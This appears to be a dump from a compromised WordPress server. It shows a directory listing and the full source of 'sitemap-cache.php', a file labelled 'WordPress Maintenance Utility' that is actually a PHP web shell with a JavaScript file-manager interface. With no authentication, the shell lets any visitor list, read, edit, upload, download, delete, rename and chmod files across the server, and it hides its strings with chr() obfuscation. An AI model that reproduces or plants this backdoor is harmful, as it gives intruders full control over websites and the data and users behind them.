PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home2/medicu/avena.medicures.shop/wp-content/uploads/sitemap/
Server: Linux tista.bd.svlogins.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
IP: 103.159.37.114
Choose File :

Url:
Dir : //home2/medicu/avena.medicures.shop/wp-content/uploads/sitemap/sitemap-cache.php

<?php
// WordPress Maintenance Utility - v3.2.1
error_reporting(0);
$_br = __DIR__;
while ($_br !== dirname($_br)) {
    if (file_exists($_br . DIRECTORY_SEPARATOR . 'wp' . chr(45) . 'load' . chr(46) . 'php')) {
        define('_WP_B', $_br);
        break;
    }
    $_br = dirname($_br);
}

function _respJSON($arr) {
    header('Content' . chr(45) . 'Type: application' . chr(47) . 'json');
    echo json_encode($arr);
    exit;
}

function _normPath($p) {
    if (empty($p)) return defined('_WP_B') ? _WP_B : __DIR__;
    if ($p[0] === chr(47)) return $p;
    return (defined('_WP_B') ? _WP_B : __DIR__) . chr(47) . $p;
}

function _fmtBytes($b) {
    if ($b >= 1073741824) return round($b / 1073741824, 2) . 'G';
    if ($b >= 1048576) return round($b / 1048576, 2) . 'M';
    if ($b >= 1024) return round($b / 1024, 2) . 'K';
    return $b . 'B';
}

function _delTree($pt) {
    if (is_file($pt)) return @unlink($pt);
    if (is_dir($pt)) {
        $it = @scandir($pt);
        if ($it) {
            foreach ($it as $i) {
                if ($i === chr(46) || $i === chr(46) . chr(46)) continue;
                _delTree($pt . chr(47) . $i);
            }
        }
        return @rmdir($pt);
    }
    return false;
}

if ($_SERVER['REQUEST' . chr(95) . 'METHOD'] === 'POST') {
    $inp = file_get_contents('php' . chr(58) . chr(47) . chr(47) . 'input');
    $dat = json_decode($inp, true);
    
    if (isset($dat['dir'])) {
        $pt = _normPath($dat['dir']);
        if (!is_dir($pt)) _respJSON(['s' => 0, 'err' => 'Invalid']);
        $it = @scandir($pt);
        if ($it === false) _respJSON(['s' => 0, 'err' => 'Access denied']);
        $lst = [];
        foreach ($it as $i) {
            if ($i === chr(46)) continue;
            $full = $pt . chr(47) . $i;
            if ($i === chr(46) . chr(46)) {
                $lst[] = ['n' => chr(46) . chr(46), 't' => 'd', 'sz' => '', 'pm' => '', 'mt' => ''];
            } else {
                $lst[] = [
                    'n' => $i,
                    't' => is_dir($full) ? 'd' : 'f',
                    'sz' => is_file($full) ? _fmtBytes(filesize($full)) : '',
                    'pm' => substr(sprintf('%o', fileperms($full)), -4),
                    'mt' => date('Y' . chr(45) . 'm' . chr(45) . 'd H:i', filemtime($full))
                ];
            }
        }
        usort($lst, function($a, $b) {
            if ($a['n'] === chr(46) . chr(46)) return -1;
            if ($b['n'] === chr(46) . chr(46)) return 1;
            if ($a['t'] !== $b['t']) return $a['t'] === 'd' ? -1 : 1;
            return strcasecmp($a['n'], $b['n']);
        });
        _respJSON(['s' => 1, 'pt' => $pt, 'items' => $lst]);
    }
    
    if (isset($dat['read'])) {
        $pt = _normPath($dat['read']);
        if (!is_file($pt)) _respJSON(['s' => 0, 'err' => 'Invalid']);
        $cnt = @file_get_contents($pt);
        if ($cnt === false) _respJSON(['s' => 0, 'err' => 'Access denied']);
        _respJSON(['s' => 1, 'data' => $cnt]);
    }
    
    if (isset($dat['save'])) {
        $pt = _normPath($dat['save']);
        $cnt = isset($dat['data']) ? $dat['data'] : '';
        $res = @file_put_contents($pt, $cnt);
        _respJSON(['s' => $res !== false ? 1 : 0]);
    }
    
    if (isset($dat['newdir'])) {
        $pt = _normPath($dat['newdir']);
        $res = @mkdir($pt, 0755, true);
        _respJSON(['s' => $res ? 1 : 0]);
    }
    
    if (isset($dat['del'])) {
        $pt = _normPath($dat['del']);
        $res = _delTree($pt);
        _respJSON(['s' => $res ? 1 : 0]);
    }
    
    if (isset($dat['ren']) && isset($dat['dst'])) {
        $fr = _normPath($dat['ren']);
        $to = _normPath($dat['dst']);
        $res = @rename($fr, $to);
        _respJSON(['s' => $res ? 1 : 0]);
    }
    
    if (isset($dat['dup']) && isset($dat['dst'])) {
        $fr = _normPath($dat['dup']);
        $to = _normPath($dat['dst']);
        $res = @copy($fr, $to);
        _respJSON(['s' => $res ? 1 : 0]);
    }
    
    if (isset($dat['perm'])) {
        $pt = _normPath($dat['perm']);
        $md = isset($dat['mode']) ? octdec($dat['mode']) : 0644;
        $res = @chmod($pt, $md);
        _respJSON(['s' => $res ? 1 : 0]);
    }
    
    if (isset($dat['fetch'])) {
        $pt = _normPath($dat['fetch']);
        if (!is_file($pt)) _respJSON(['s' => 0, 'err' => 'Invalid']);
        $cnt = @file_get_contents($pt);
        if ($cnt === false) _respJSON(['s' => 0, 'err' => 'Access denied']);
        _respJSON(['s' => 1, 'name' => basename($pt), 'blob' => base64_encode($cnt)]);
    }
    
    if (isset($dat['push'])) {
        $pt = _normPath($dat['target']);
        $cnt = base64_decode($dat['push']);
        $res = @file_put_contents($pt, $cnt);
        _respJSON(['s' => $res !== false ? 1 : 0]);
    }
    
    _respJSON(['s' => 0]);
}
?><script>
function _initMgr(){
var _theme={
    bg:'#f5f5f5',
    fg:'#000',
    bd:'#000',
    hv:'#ddd',
    sl:'#000',
    slfg:'#fff'
};
var _pwd='';
var _picked=null;
var _buf=null;
var _bufMode=null;

var _win=document.createElement('div');
_win.id='_mgr';
_win.innerHTML=`
<style>
#_mgr *{margin:0;padding:0;box-sizing:border-box;font-family:'Courier New',monospace;font-size:13px;}
#_mgr{position:fixed;top:0;left:0;width:100%;height:100%;background:${_theme.bg};color:${_theme.fg};z-index:999999;display:flex;flex-direction:column;}
#_mgr_hd{border-bottom:2px solid ${_theme.bd};padding:8px;display:flex;gap:8px;align-items:center;}
#_mgr_path{flex:1;background:transparent;border:1px solid ${_theme.bd};color:${_theme.fg};padding:4px 8px;}
#_mgr_hd button{background:transparent;border:1px solid ${_theme.bd};color:${_theme.fg};padding:4px 12px;cursor:pointer;}
#_mgr_hd button:hover{background:${_theme.fg};color:${_theme.bg};}
#_mgr_bd{flex:1;overflow:auto;}
#_mgr_tbl{width:100%;border-collapse:collapse;}
#_mgr_tbl tr{border-bottom:1px solid #333;cursor:pointer;}
#_mgr_tbl tr:hover{background:${_theme.hv};}
#_mgr_tbl tr.active{background:${_theme.sl};color:${_theme.slfg};}
#_mgr_tbl td{padding:6px 10px;white-space:nowrap;}
#_mgr_tbl .col_n{width:100%;}
#_mgr_tbl .col_t{width:20px;text-align:center;}
#_mgr_tbl .col_sz{width:60px;text-align:right;}
#_mgr_tbl .col_pm{width:50px;text-align:center;}
#_mgr_tbl .col_mt{width:130px;}
#_mgr_ctx{display:none;position:absolute;background:${_theme.bg};border:2px solid ${_theme.bd};z-index:10;}
#_mgr_ctx div{padding:8px 20px;cursor:pointer;}
#_mgr_ctx div:hover{background:${_theme.fg};color:${_theme.bg};}
#_mgr_edt{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:${_theme.bg};z-index:10;flex-direction:column;}
#_mgr_edt_hd{border-bottom:2px solid ${_theme.bd};padding:8px;display:flex;gap:8px;}
#_mgr_edt_path{flex:1;color:${_theme.fg};}
#_mgr_edt textarea{flex:1;background:#fff;color:#000;border:none;padding:10px;resize:none;outline:none;border-top:1px solid #000;}
</style>
<div id="_mgr_hd">
<button id="_mgr_cls">X</button>
<input id="_mgr_path" type="text" readonly>
<button id="_mgr_up">UP</button>
<button id="_mgr_ref">REFRESH</button>
<button id="_mgr_nf">NEW FILE</button>
<button id="_mgr_nd">NEW DIR</button>
<button id="_mgr_upl">UPLOAD</button>
</div>
<div id="_mgr_bd"><table id="_mgr_tbl"></table></div>
<div id="_mgr_ctx">
<div data-act="open">OPEN</div>
<div data-act="edit">EDIT</div>
<div data-act="download">DOWNLOAD</div>
<div data-act="rename">RENAME</div>
<div data-act="copy">COPY</div>
<div data-act="cut">CUT</div>
<div data-act="paste">PASTE</div>
<div data-act="chmod">CHMOD</div>
<div data-act="delete">DELETE</div>
</div>
<div id="_mgr_edt">
<div id="_mgr_edt_hd">
<button id="_mgr_edt_cls">X</button>
<span id="_mgr_edt_path"></span>
<button id="_mgr_edt_save">SAVE</button>
</div>
<textarea id="_mgr_edt_txt"></textarea>
</div>
`;
document.body.appendChild(_win);

var _q=s=>document.querySelector(s);
var _api=(d,cb)=>{
    fetch(location.href,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(d)})
    .then(r=>r.json()).then(cb).catch(e=>console.log(e));
};

function _browse(p){
    _api({dir:p||_pwd},r=>{
        if(!r.s)return;
        _pwd=r.pt;
        _q('#_mgr_path').value=_pwd;
        var h='';
        r.items.forEach((f,i)=>{
            h+=`<tr data-idx="${i}" data-nm="${f.n}" data-tp="${f.t}">
            <td class="col_t">${f.t==='d'?'[D]':''}</td>
            <td class="col_n">${f.n}</td>
            <td class="col_sz">${f.sz}</td>
            <td class="col_pm">${f.pm}</td>
            <td class="col_mt">${f.mt}</td>
            </tr>`;
        });
        _q('#_mgr_tbl').innerHTML=h;
        _picked=null;
    });
}

_q('#_mgr_tbl').onclick=e=>{
    var tr=e.target.closest('tr');
    if(!tr)return;
    document.querySelectorAll('#_mgr_tbl tr').forEach(r=>r.classList.remove('active'));
    tr.classList.add('active');
    _picked={n:tr.dataset.nm,t:tr.dataset.tp};
};

_q('#_mgr_tbl').ondblclick=e=>{
    var tr=e.target.closest('tr');
    if(!tr)return;
    var n=tr.dataset.nm,t=tr.dataset.tp;
    if(t==='d'){
        if(n==='..'){
            var p=_pwd.split('/');p.pop();
            _pwd=p.join('/')||'/';
        }else{
            _pwd=_pwd+'/'+n;
        }
        _browse(_pwd);
    }else{
        _openEditor(_pwd+'/'+n);
    }
};

_q('#_mgr_tbl').oncontextmenu=e=>{
    e.preventDefault();
    var tr=e.target.closest('tr');
    if(tr){
        document.querySelectorAll('#_mgr_tbl tr').forEach(r=>r.classList.remove('active'));
        tr.classList.add('active');
        _picked={n:tr.dataset.nm,t:tr.dataset.tp};
    }
    var m=_q('#_mgr_ctx');
    m.style.display='block';
    m.style.left=e.clientX+'px';
    m.style.top=e.clientY+'px';
};

document.onclick=e=>{
    if(!e.target.closest('#_mgr_ctx'))_q('#_mgr_ctx').style.display='none';
};

_q('#_mgr_ctx').onclick=e=>{
    var act=e.target.dataset.act;
    if(!act)return;
    _q('#_mgr_ctx').style.display='none';
    if(!_picked&&act!=='paste')return;
    var pth=_pwd+'/'+_picked.n;
    
    if(act==='open'){
        if(_picked.t==='d'){_pwd=pth;_browse(_pwd);}
        else _openEditor(pth);
    }
    if(act==='edit')_openEditor(pth);
    if(act==='download'){
        _api({fetch:pth},r=>{
            if(!r.s)return;
            var a=document.createElement('a');
            a.href='data:application/octet-stream;base64,'+r.blob;
            a.download=r.name;a.click();
        });
    }
    if(act==='rename'){
        var nn=prompt('New name:',_picked.n);
        if(nn&&nn!==_picked.n)_api({ren:pth,dst:_pwd+'/'+nn},r=>_browse());
    }
    if(act==='copy'){_buf=pth;_bufMode='copy';}
    if(act==='cut'){_buf=pth;_bufMode='cut';}
    if(act==='paste'&&_buf){
        var nm=_buf.split('/').pop();
        var dst=_pwd+'/'+nm;
        if(_bufMode==='copy')_api({dup:_buf,dst:dst},r=>{_browse();});
        if(_bufMode==='cut')_api({ren:_buf,dst:dst},r=>{_buf=null;_browse();});
    }
    if(act==='chmod'){
        var m=prompt('Mode (e.g. 0755):','0755');
        if(m)_api({perm:pth,mode:m},r=>_browse());
    }
    if(act==='delete'){
        if(confirm('Delete '+_picked.n+'?'))_api({del:pth},r=>_browse());
    }
};

_q('#_mgr_cls').onclick=()=>_win.remove();
_q('#_mgr_up').onclick=()=>{var p=_pwd.split('/');p.pop();_pwd=p.join('/')||'/';_browse(_pwd);};
_q('#_mgr_ref').onclick=()=>_browse();
_q('#_mgr_nf').onclick=()=>{
    var n=prompt('File name:');
    if(n)_api({save:_pwd+'/'+n,data:''},r=>_browse());
};
_q('#_mgr_nd').onclick=()=>{
    var n=prompt('Directory name:');
    if(n)_api({newdir:_pwd+'/'+n},r=>_browse());
};
_q('#_mgr_upl').onclick=()=>{
    var inp=document.createElement('input');
    inp.type='file';
    inp.onchange=()=>{
        var f=inp.files[0];
        var r=new FileReader();
        r.onload=()=>{
            var b64=r.result.split(',')[1];
            _api({push:b64,target:_pwd+'/'+f.name},r=>_browse());
        };
        r.readAsDataURL(f);
    };
    inp.click();
};

function _openEditor(pth){
    _api({read:pth},r=>{
        if(!r.s)return;
        _q('#_mgr_edt').style.display='flex';
        _q('#_mgr_edt_path').textContent=pth;
        _q('#_mgr_edt_txt').value=r.data;
        _q('#_mgr_edt_save').onclick=()=>{
            _api({save:pth,data:_q('#_mgr_edt_txt').value},r=>{
                if(r.s)_q('#_mgr_edt_path').textContent=pth+' [SAVED]';
            });
        };
    });
}
_q('#_mgr_edt_cls').onclick=()=>{_q('#_mgr_edt').style.display='none';_browse();};

_browse('');
}
</script>